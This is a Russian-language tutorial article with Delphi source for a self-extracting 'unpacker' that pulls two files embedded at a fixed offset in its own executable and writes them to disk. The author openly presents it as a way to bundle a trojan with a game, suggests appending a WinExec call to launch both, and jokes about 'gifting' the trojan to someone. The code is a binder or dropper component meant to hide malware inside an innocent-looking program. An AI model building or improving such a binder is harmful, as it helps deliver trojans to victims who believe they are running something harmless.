Чем хорош этот анпакер? Первое и самое главное это то, что весь файл загружается в ОЗУ и извлечение происходит на максимальной скорости. Теперь чем он плох. Во первых размером. Поэтому его нельзя использовать для распаковки трояна и какой-нибудь игрушки (код запуска обоих можно добавить в самый конец (WinExec)). Так же, раз всё загружается в память, то её может не хватить (а то зашьешь в анпакер два файла по 400 метров :).

Можно пойти другим путём - использовать стандартные Delphi'ковские FileOpen, FileRead and so on :).
Вот исходник:


program Unpacker;  
  
uses  
  SysUtils;  
  
const c=41984;  
  
var h:integer;  
      mas:array[1..2048] of byte;  
      f:file;  
      i,done1:integer;  
      done:integer=0;  
  
begin  
 h:=FileOpen(paramstr(0),fmOpenRead or fmShareDenyWrite);  
 FileSeek(h,c,0);  
 FileRead(h,i,sizeof(i));  
 assignfile(f,'temp1');  
 rewrite(f,1);  
 while i>=done+2048 do begin  
  done1:=FileRead(h,mas,sizeof(mas));  
  blockwrite(f,mas,done1);  
  inc(done,done1);  
 end;  
 if i>done then begin  
                 done1:=fileread(h,mas,i-done);  
                 blockwrite(f,mas,done1);  
                end;  
 CloseFile(f);  
 done:=0;  
 FileRead(h,i,sizeof(i));  
 assignfile(f,'temp2');  
 rewrite(f,1);  
 while i>=done+2048 do begin  
  done1:=FileRead(h,mas,sizeof(mas));  
  blockwrite(f,mas,done1);  
  inc(done,done1);  
 end;  
 if i>done then begin  
                 done1:=fileread(h,mas,i-done);  
                 blockwrite(f,mas,done1);  
                end;  
 CloseFile(f);  
 FileClose(h);  
end.

В принципе всё то же самое, что и в первом примере, только без потоков (помни про "c").

Отсюда вытекает следующее: меньше расходуется память, так как все мы берём из файла, объём анпакера сокращается до 41984 байт (у тебя может быть другая цифра). Минусы - работа с винтом и всё еще большой анпакер, так что троян записать (и кому-нибудь "подарить") проблематично.

В следующий раз мы поговорим о Windows Api и оптимизации кода анпакера.

И помни: мои примеры всегда можно подогнать под свои нужды и использовать в общественно-полезной деятельности :)))).

Добавлено: 21 Июля 2018 12:29:34 Добавил: Андрей Ковальчук